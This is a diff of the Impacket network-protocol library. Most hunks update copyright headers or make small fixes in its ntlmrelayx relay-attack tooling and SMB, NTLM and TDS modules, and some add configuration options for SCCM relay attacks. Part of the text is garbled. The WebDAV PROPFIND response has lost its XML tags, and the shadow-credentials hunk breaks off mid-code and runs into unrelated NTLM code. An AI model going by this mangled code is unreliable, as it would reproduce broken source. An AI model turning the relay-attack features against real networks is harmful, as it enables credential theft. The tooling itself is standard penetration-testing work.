a/impacket/examples/ntlmrelayx/clients/dcsyncclient.py b/impacket/examples/ntlmrelayx/clients/dcsyncclient.py index 133b26c219..96e40f7e48 100644 --- a/impacket/examples/ntlmrelayx/clients/dcsyncclient.py +++ b/impacket/examples/ntlmrelayx/clients/dcsyncclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py index 19736e11ba..6d8c26965a 100644 --- a/impacket/examples/ntlmrelayx/clients/httprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/imaprelayclient.py b/impacket/examples/ntlmrelayx/clients/imaprelayclient.py index bb4a236d60..30826b01ef 100644 --- a/impacket/examples/ntlmrelayx/clients/imaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/imaprelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 86e7f18132..9f69a71be6 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py index cb589567a3..4297c61ca3 100644 --- a/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py index a484262f03..998d742915 100644 --- a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 6334f6cd3f..e61a3f19ac 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/smtprelayclient.py b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py index eeaccd8a56..233145b8ce 100644 --- a/impacket/examples/ntlmrelayx/clients/smtprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/__init__.py b/impacket/examples/ntlmrelayx/servers/__init__.py index 26022df05b..bbb0f393ff 100644 --- a/impacket/examples/ntlmrelayx/servers/__init__.py +++ b/impacket/examples/ntlmrelayx/servers/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 67c35f95dd..78f3dd1a12 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -180,6 +182,9 @@ def do_OPTIONS(self): return def do_PROPFIND(self): + + LOG.info('HTTPD(%s): Client requested path: %s' % (self.server.server_address[1], self.path.lower())) + proxy = False if (".jpg" in self.path) or (".JPG" in self.path): content = b"""http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" diff --git a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py index e8a0218d0d..518bba0501 100644 --- a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 4be3d95150..16ee2da251 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -76,7 +78,7 @@ def __init__(self,config): smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','log_file','None') smbConfig.set('global','credentials_file','') if self.config.smb2support is True: @@ -923,6 +925,6 @@ def _start(self): self.server.server_close() def run(self): - LOG.info("Setting up SMB Server") + LOG.info("Setting up SMB Server on port %s" % self.server.server_address[1]) self._start() diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py index 508a767517..56a0b4e97b 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/http.py b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py index d296931254..2e9e2f18d7 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/http.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/https.py b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py index d68cca8b4d..2c410b7bb8 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/https.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py index 8fa489e18f..593a2972c3 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py index 9a7b69621f..0f46c3fef3 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py index 5341bd0d07..a041db3a2f 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py index b6cf3d8d80..199a327148 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py index 8ef89b6b80..8dcf896296 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/socksserver.py b/impacket/examples/ntlmrelayx/servers/socksserver.py index 616142e541..22a59204c5 100644 --- a/impacket/examples/ntlmrelayx/servers/socksserver.py +++ b/impacket/examples/ntlmrelayx/servers/socksserver.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py index 201e7cc4eb..01dccf6cdc 100644 --- a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py @@ -1,7 +1,9 @@ # -*- coding: utf-8 -*- # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -348,13 +350,13 @@ def __init__(self, config): self.server = None def run(self): - LOG.info("Setting up WCF Server") - if self.config.listeningPort: wcfport = self.config.listeningPort else: wcfport = 9389 # ADWS + LOG.info("Setting up WCF Server on port %s" % wcfport) + # changed to read from the interfaceIP set in the configuration self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config) diff --git a/impacket/examples/ntlmrelayx/utils/__init__.py b/impacket/examples/ntlmrelayx/utils/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/examples/ntlmrelayx/utils/__init__.py +++ b/impacket/examples/ntlmrelayx/utils/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index cb31fe8eb7..176ac9de7e 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -101,6 +103,14 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # SCCM attacks options + self.isSCCMPoliciesAttack = False + self.SCCMPoliciesClientname = None + self.SCCMPoliciesSleep = None + self.isSCCMDPAttack = False + self.SCCMDPExtensions = None + self.SCCMDPFiles = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -241,6 +251,20 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword self.ShadowCredentialsExportType = ShadowCredentialsExportType self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath + + def setIsSCCMPoliciesAttack(self, isSCCMPoliciesAttack): + self.isSCCMPoliciesAttack = isSCCMPoliciesAttack + + def setSCCMPoliciesOptions(self, sccm_policies_clientname, sccm_policies_sleep): + self.SCCMPoliciesClientname = sccm_policies_clientname + self.SCCMPoliciesSleep = sccm_policies_sleep + + def setIsSCCMDPAttack(self, isSCCMDPAttack): + self.isSCCMDPAttack = isSCCMDPAttack + + def setSCCMDPOptions(self, sccm_dp_extensions, sccm_dp_files): + self.SCCMDPExtensions = sccm_dp_extensions + self.SCCMDPFiles = sccm_dp_files def setAltName(self, altName): self.altName = altName diff --git a/impacket/examples/ntlmrelayx/utils/enum.py b/impacket/examples/ntlmrelayx/utils/enum.py index c47b3f6efd..22090c8c8e 100644 --- a/impacket/examples/ntlmrelayx/utils/enum.py +++ b/impacket/examples/ntlmrelayx/utils/enum.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/utils/shadow_credentials.py b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py index 1f4574ff08..25f4cd7335 100644 --- a/impacket/examples/ntlmrelayx/utils/shadow_credentials.py +++ b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py @@ -1,235 +1,112 @@ -# code based on pydsinternals project by p0dalirius -# https://github.com/p0dalirius/pydsinternals - -import OpenSSL +from struct import pack +from Cryptodome.Util.number import long_to_bytes from Cryptodome.PublicKey import RSA -import struct -from Cryptodome.Util.number import bytes_to_long, long_to_bytes -import hashlib +from OpenSSL.crypto import PKey, X509, TYPE_RSA +import OpenSSL import base64 -import binascii -import random +import uuid import datetime import time +import hashlib +import binascii import os -def raw_public_key( modulus,exponent,keySize,prime1,prime2 ): - b_blobType = b'RSA1' - b_keySize = struct.pack('H", d) - data += binascii.unhexlify(hex(e)[2:].rjust(12, '0')) - return data - -def getTimeTicks(): - Value = datetime.datetime.now() - # diff 1601 - epoch - diff = datetime.datetime(1970, 1, 1, 0, 0, 0) - datetime.datetime(1601, 1, 1, 0, 0, 0) - # nanoseconds between 1601 and epoch - diff_ns = int(diff.total_seconds()) * 1000000000 - # nanoseconds between epoch and now - now_ns = time.time_ns() - # ticks between 1601 and now - ticks = (diff_ns + now_ns) // 100 - return ticks - - -def getBinaryTime( timestamp_ticks ): - return struct.pack(' 0: + av_pairs[NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b'\x00' * 2 # Reserved1 2 bytes + temp += b'\x00' * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b'\x00' * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable ntProofStr = hmac_md5(responseKeyNT, serverChallenge + temp) @@ -955,7 +968,7 @@ def get_instance(cls,msg_64): msg_type = 0 if msg_64 != '': msg = base64.b64decode(msg_64[5:]) # Remove the 'NTLM ' - msg_type = ord(msg[8]) + msg_type = msg[8] for _cls in NTLM_HTTP.__subclasses__(): if msg_type == _cls.MSG_TYPE: diff --git a/impacket/pcap_linktypes.py b/impacket/pcap_linktypes.py index 0ae5c9204c..3132751519 100644 --- a/impacket/pcap_linktypes.py +++ b/impacket/pcap_linktypes.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/pcapfile.py b/impacket/pcapfile.py index abde006fa7..96f6ef8790 100644 --- a/impacket/pcapfile.py +++ b/impacket/pcapfile.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/smb.py b/impacket/smb.py index b18153e55e..99f8e3d4c3 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -1501,7 +1503,7 @@ class SMBSessionSetupAndX_Extended_Response_Data(AsciiOrUnicodeStructure): ) def getData(self): if self.structure == self.UnicodeStructure: - if len(str(self['SecurityBlob'])) % 2 == 0: + if len(self['SecurityBlob']) % 2 == 0: self['Pad'] = '\x00' return AsciiOrUnicodeStructure.getData(self) @@ -2881,7 +2883,7 @@ def get_server_time(self): timestamp |= self._dialects_parameters['LowDateTime'] timestamp -= 116444736000000000 timestamp //= 10000000 - d = datetime.datetime.utcfromtimestamp(timestamp) + d = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc) return d.strftime("%a, %d %b %Y %H:%M:%S GMT") def disconnect_tree(self, tid): @@ -3249,7 +3251,7 @@ def kerberos_login(self, user, password, domain = '', lmhash = '', nthash = '', authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -3982,7 +3984,7 @@ def list_path(self, service, path = '*', password = None): findNextParameter['SID'] = sid findNextParameter['SearchCount'] = 1024 findNextParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO - findNextParameter['ResumeKey'] = 0 + findNextParameter['ResumeKey'] = record["FileIndex"] findNextParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS if self.__flags2 & SMB.FLAGS2_UNICODE: findNextParameter['FileName'] = resume_filename + b'\x00\x00' diff --git a/impacket/smb3.py b/impacket/smb3.py index fe13296fea..8f50339d90 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -795,7 +797,7 @@ def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', a authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) diff --git a/impacket/smb3structs.py b/impacket/smb3structs.py index fffe6c942e..efd1ec7402 100644 --- a/impacket/smb3structs.py +++ b/impacket/smb3structs.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/smbconnection.py b/impacket/smbconnection.py index 4d27643b7a..3f032fd547 100644 --- a/impacket/smbconnection.py +++ b/impacket/smbconnection.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/smbserver.py b/impacket/smbserver.py index a09f5ec493..5e1f08dd90 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -4671,7 +4673,8 @@ def processConfigFile(self, configFile=None): logging.basicConfig(filename=self.__logFile, level=logging.DEBUG, format="%(asctime)s: %(levelname)s: %(message)s", - datefmt='%m/%d/%Y %I:%M:%S %p') + datefmt='%m/%d/%Y %I:%M:%S %p', + force=True) self.__log = LOG # Process the credentials diff --git a/impacket/spnego.py b/impacket/spnego.py index 4e7d267aba..e1f77cb479 100644 --- a/impacket/spnego.py +++ b/impacket/spnego.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/structure.py b/impacket/structure.py index f69e8f5808..e0bf0f2482 100644 --- a/impacket/structure.py +++ b/impacket/structure.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -174,7 +176,7 @@ def __delitem__(self, key): del self.fields[key] def __str__(self): - return hexlify(self.getData()) + return str(hexlify(self.getData()).decode("ascii")) def __len__(self): # XXX: improve diff --git a/impacket/system_errors.py b/impacket/system_errors.py index 40e32c8b0b..cc7ae6ae85 100644 --- a/impacket/system_errors.py +++ b/impacket/system_errors.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/tds.py b/impacket/tds.py index 2c71b97e50..2cbb203303 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -816,7 +818,7 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -1015,18 +1017,18 @@ def printRows(self): self.__rowsPrinter.logMessage(col['Format'] % row[col['Name']] + self.COL_SEPARATOR) self.__rowsPrinter.logMessage('\n') - def printReplies(self): + def printReplies(self, error_logger=LOG.error, info_logger=LOG.info): for keys in list(self.replies.keys()): for i, key in enumerate(self.replies[keys]): if key['TokenType'] == TDS_ERROR_TOKEN: - error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) - self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) + self.lastError = SQLErrorException("ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) + error_logger(self.lastError) elif key['TokenType'] == TDS_INFO_TOKEN: - LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) + info_logger("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) elif key['TokenType'] == TDS_LOGINACK_TOKEN: - LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) + info_logger("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): @@ -1045,7 +1047,7 @@ def printReplies(self): _type = 'PACKETSIZE' else: _type = "%d" % key['Type'] - LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) + info_logger("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) def parseRow(self,token,tuplemode=False): # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types diff --git a/impacket/uuid.py b/impacket/uuid.py index 307910af06..2f302cb9de 100644 --- a/impacket/uuid.py +++ b/impacket/uuid.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/version.py b/impacket/version.py index 520d0a4785..87a971b156 100644 --- a/impacket/version.py +++ b/impacket/version.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -17,7 +19,7 @@ version = "?" print("Cannot determine Impacket version. " "If running from source you should at least run \"python setup.py egg_info\"") -BANNER = "Impacket v{} - Copyright 2023 Fortra\n".format(version) +BANNER = "Impacket v{} - Copyright Fortra, LLC and its affiliated companies 